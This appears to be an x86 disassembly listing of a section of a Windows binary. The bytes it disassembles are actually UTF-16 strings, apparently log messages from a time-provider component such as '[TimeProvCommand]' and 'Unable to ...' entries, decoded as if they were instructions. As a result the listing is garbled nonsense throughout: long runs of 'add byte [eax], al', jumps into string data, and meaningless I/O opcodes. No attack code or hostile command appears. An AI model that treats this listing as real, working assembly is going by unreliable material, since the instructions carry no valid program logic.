insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
dec edx
add byte [ebp], dh
insd dword es:[edi], dx
add byte [eax], dh
add byte gs:[eax + eax + 0xa], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
push ebx
add byte [eax], ch
jne 0x405c29
je 0x405c2b
add byte fs:[edi], ch
ja 0x405c31
outsb dx, byte [esi]
add byte [edx], cl
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
push ebp
add byte [eax], dh
add byte fs:[ecx], ah
je 0x405c6d
add byte gs:[ebx], al
outsd dx, dword [esi]
add byte [esi], ch
add byte [ecx], ch
add byte [bp + si], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
dec esi
add byte [ebp], ah
je 0x405cb9
push esp
add byte [edi], ch
jo 0x405cbf
outsd dx, dword [esi]
add byte [ebx], al
push 0x6e006100
add byte [edi], ah
add byte gs:[edx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
push ecx
add byte [ebp], dh
add byte gs:[edx], dh
jns 0x405d0d
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405d25
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push ebp
add byte [esi], ch
imul eax, dword [eax], 0x6e
add byte [edi], ch
ja 0x405d47
outsb dx, byte [esi]
add byte [eax], ah
add byte [edi], ch
jb 0x405d4f
and byte [eax], al
jne 0x405d53
outsb dx, byte [esi]
add byte [eax], ch
popal
add byte [esi], ch
add byte fs:[eax + eax + 0x65], ch
add byte [eax + eax + 0x20], ah
add byte [eax], dh
jb 0x405d69
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x405d75
and byte [eax], al
arpl word [eax], ax
outsd dx, dword [esi]
add byte [ebp], ch
insd dword es:[edi], dx
add byte [ecx], ah
outsb dx, byte [esi]
add byte [eax + eax + 0xa], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
dec edi
add byte [eax], dh
add byte gs:[esi], ch
pop ebp
add byte [eax], ah
add byte [ebp], al
outsb dx, byte [esi]
add byte [eax + eax + 0x65], dh
add byte [edx], dh
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405dd5
outsd dx, dword [esi]
add byte [esi], dh
dec edi
add byte [eax], dh
add byte gs:[esi], ch
pop ebp
add byte [eax], ah
add byte [eax], dl
jb 0x405de9
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x405df5
and byte [eax], al
outsb dx, byte [esi]
add byte [ecx], ah
insd dword es:[edi], dx
add byte [ebp], ah
and byte [eax], al
cmp eax, 0x25002000
add byte [ebx], dh
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [ecx], cl
inc ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[ebx], dl
jns 0x405e29
outsb dx, byte [esi]
add byte [ebx], ah
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [eax], dh
imul eax, dword [eax], 0x65006c
push ebx
add byte [ecx], ah
insd dword es:[edi], dx
add byte [eax], dh
insb byte es:[edi], dx
add byte [ebp], ah
pop ebp
add byte [eax], ah
add byte [edi], al
add byte gs:[esi], ch
add byte gs:[edx], dh
popal
add byte [eax + eax + 0x69], dh
add byte [esi], ch
add byte [bx + si], ah
add byte [eax + eax + 0x69], dh
add byte [ebp], ch
add byte gs:[eax], ah
add byte [ebx], dh
popal
add byte [ebp], ch
jo 0x405e73
insb byte es:[edi], dx
add byte [ebp], ah
cmp al, byte [eax]
and byte [eax], al
and byte [eax], al
dec edi
add byte [esi], ah
add byte [ebx], dh
add byte gs:[eax + eax + 0x3d], dh
add byte [0x36004900], ah
add byte [eax + eax], dh
add byte fs:[eax + eax], ch
and byte [eax], al
inc esp
add byte [ebp], ah
insb byte es:[edi], dx
add byte [ecx], ah
jns 0x405ea3
cmp eax, 0x49002500
add byte [esi], dh
add byte [eax + eax], dh
add byte fs:[eax + eax], ch
and byte [eax], al
inc esp
add byte [ecx], ch
jae 0x405eb9
jo 0x405ebb
add byte gs:[edx], dh
jae 0x405ec1
imul eax, dword [eax], 0x6e006f
cmp eax, 0x49002500
add byte [esi], dh
add byte [eax + eax], dh
jne 0x405ed3
or al, byte [eax]
add byte [eax], al
push esi
add byte [ebp], cl
and byte [eax], al
dec ecx
add byte [ebx], al
and byte [eax], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
and byte [eax], al
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push 0x6f007200
add byte [esi], ch
imul eax, dword [eax], 0x61007a
je 0x405f05
imul eax, dword [eax], 0x6e006f
and byte [eax], al
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x405f1d
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [ecx], cl
inc ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[ebx], dl
jns 0x405f39
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x405f4d
dec esp
add byte [ecx], ah
jne 0x405f53
outsb dx, byte [esi]
add byte [ebx], ah
push 0x20005d00
add byte [esi], al
popal
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ebp], ah
add byte fs:[eax], ah
add byte [eax + eax + 0x6f], dh
add byte [eax], ah
add byte [ebx], ah
jb 0x405f75
add byte gs:[ecx], ah
je 0x405f7b
add byte gs:[eax], ah
add byte [eax + eax + 0x68], dh
add byte [edx], dh
add byte gs:[ecx], ah
add byte fs:[edx], bh
add byte [eax], ah
add byte [eax], dh
add byte [eax], bh
and eax, 0xa005800
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
dec ecx
add byte [ebx], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x405fcd
dec esp
add byte [ecx], ah
jne 0x405fd3
outsb dx, byte [esi]
add byte [ebx], ah
push 0x20005d00
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], ah
add byte [eax], dh
jb 0x405feb
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x405ff7
and byte [eax], al
je 0x405ffb
push 0x65007200
add byte [ecx], ah
add byte fs:[eax], ah
add byte [ebx], dh
jo 0x40600b
popal
add byte [edi], dh
outsb dx, byte [esi]
add byte [ebp], ah
add byte fs:[edx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
dec ecx
add byte [ebx], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x40604d
dec esp
add byte [ecx], ah
jne 0x406053
outsb dx, byte [esi]
add byte [ebx], ah
push 0x61004300
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [ebx], ah
imul eax, dword [eax], 0x5d
add byte [eax], ah
add byte [ebp], al
outsb dx, byte [esi]
add byte [eax + eax + 0x65], dh
add byte [edx], dh
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [ecx], cl
inc ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[ebx], dl
jns 0x406099
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x4060ad
dec esp
add byte [ecx], ah
jne 0x4060b3
outsb dx, byte [esi]
add byte [ebx], ah
push 0x61004300
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [ebx], ah
imul eax, dword [eax], 0x5d
add byte [eax], ah
add byte [esi], al
popal
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ebp], ah
add byte fs:[eax], ah
add byte [eax + eax + 0x6f], dh
add byte [eax], ah
add byte [ecx], ah
insb byte es:[edi], dx
add byte [eax + eax + 0x6f], ch
add byte [ebx], ah
popal
add byte [eax + eax + 0x65], dh
add byte [eax], ah
add byte [ebx], dh
push 0x72006100
add byte [ebp], ah
add byte fs:[eax], ah
add byte [ebp], ch
add byte gs:[ebp], ch
outsd dx, dword [esi]
add byte [edx], dh
jns 0x40610d
and byte [eax], al
outsd dx, dword [esi]
add byte [edx], ah
push 0
add byte gs:[ebx], ah
je 0x40611b
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [ecx], cl
inc ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[ebx], dl
jns 0x406139
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x40614d
dec esp
add byte [ecx], ah
jne 0x406153
outsb dx, byte [esi]
add byte [ebx], ah
push 0x61004300
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [ebx], ah
imul eax, dword [eax], 0x5d
add byte [eax], ah
add byte [esi], al
popal
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ebp], ah
add byte fs:[eax], ah
add byte [eax + eax + 0x6f], dh
add byte [eax], ah
add byte [ecx], ch
outsb dx, byte [esi]
add byte [ecx], ch
je 0x406189
imul eax, dword [eax], 0x6c0061
imul eax, dword [eax], 0x65007a
and byte [eax], al
jae 0x406199
push 0x72006100
add byte [ebp], ah
add byte fs:[eax], ah
add byte [ebp], ch
add byte gs:[ebp], ch
outsd dx, dword [esi]
add byte [edx], dh
jns 0x4061b1
cmp al, byte [eax]
and byte [eax], al
xor byte [eax], al
js 0x4061b9
and eax, 0xa005800
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
dec ecx
add byte [ebx], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x4061ed
dec esp
add byte [ecx], ah
jne 0x4061f3
outsb dx, byte [esi]
add byte [ebx], ah
push 0x61004300
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [ebx], ah
imul eax, dword [eax], 0x5d
add byte [eax], ah
add byte [ebx], dl
push 0x72006100
add byte [ebp], ah
add byte fs:[eax], ah
add byte [ebp], ch
add byte gs:[ebp], ch
outsd dx, dword [esi]
add byte [edx], dh
jns 0x406227
and byte [eax], al
imul eax, dword [eax], 0x69006e
je 0x406231
imul eax, dword [eax], 0x6c0061
imul eax, dword [eax], 0x65007a
add byte fs:[edx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
dec ecx
add byte [ebx], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x40626d
dec esp
add byte [ecx], ah
jne 0x406273
outsb dx, byte [esi]
add byte [ebx], ah
push 0x61004300
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [ebx], ah
imul eax, dword [eax], 0x5d
add byte [eax], ah
add byte [edi], dl
popal
add byte [ecx], ch
je 0x406295
imul eax, dword [eax], 0x67006e
and byte [eax], al
add byte [edi], ch
jb 0x4062a3
and byte [eax], al
outsb dx, byte [esi]
add byte [edi], ch
je 0x4062ab
imul eax, dword [eax], 0x690066
arpl word [eax], ax
popal
add byte [eax + eax + 0x69], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [edx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
dec ecx
add byte [ebx], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x4062ed
dec esp
add byte [ecx], ah
jne 0x4062f3
outsb dx, byte [esi]
add byte [ebx], ah
push 0x61004300
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [ebx], ah
imul eax, dword [eax], 0x5d
add byte [eax], ah
add byte [edi], dl
popal
add byte [ecx], ch
je 0x406315
and byte [eax], al
add byte [edi], ch
jb 0x40631d
and byte [eax], al
jae 0x406321
push 0x72006100
add byte [ebp], ah
add byte fs:[eax], ah
add byte [ebp], ch
add byte gs:[ebp], ch
outsd dx, dword [esi]
add byte [edx], dh
jns 0x406339
and byte [eax], al
outsb dx, byte [esi]
add byte [edi], ch
je 0x406341
imul eax, dword [eax], 0x690066
arpl word [eax], ax
popal
add byte [eax + eax + 0x69], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax], ah
add byte [esi], ah
popal
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ebp], ah
add byte fs:[edx], cl
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
dec ecx
add byte [ebx], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push ebx
add byte [ecx], bh
outsb dx, byte [esi]
add byte [ebx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x40638d
dec esp
add byte [ecx], ah
jne 0x406393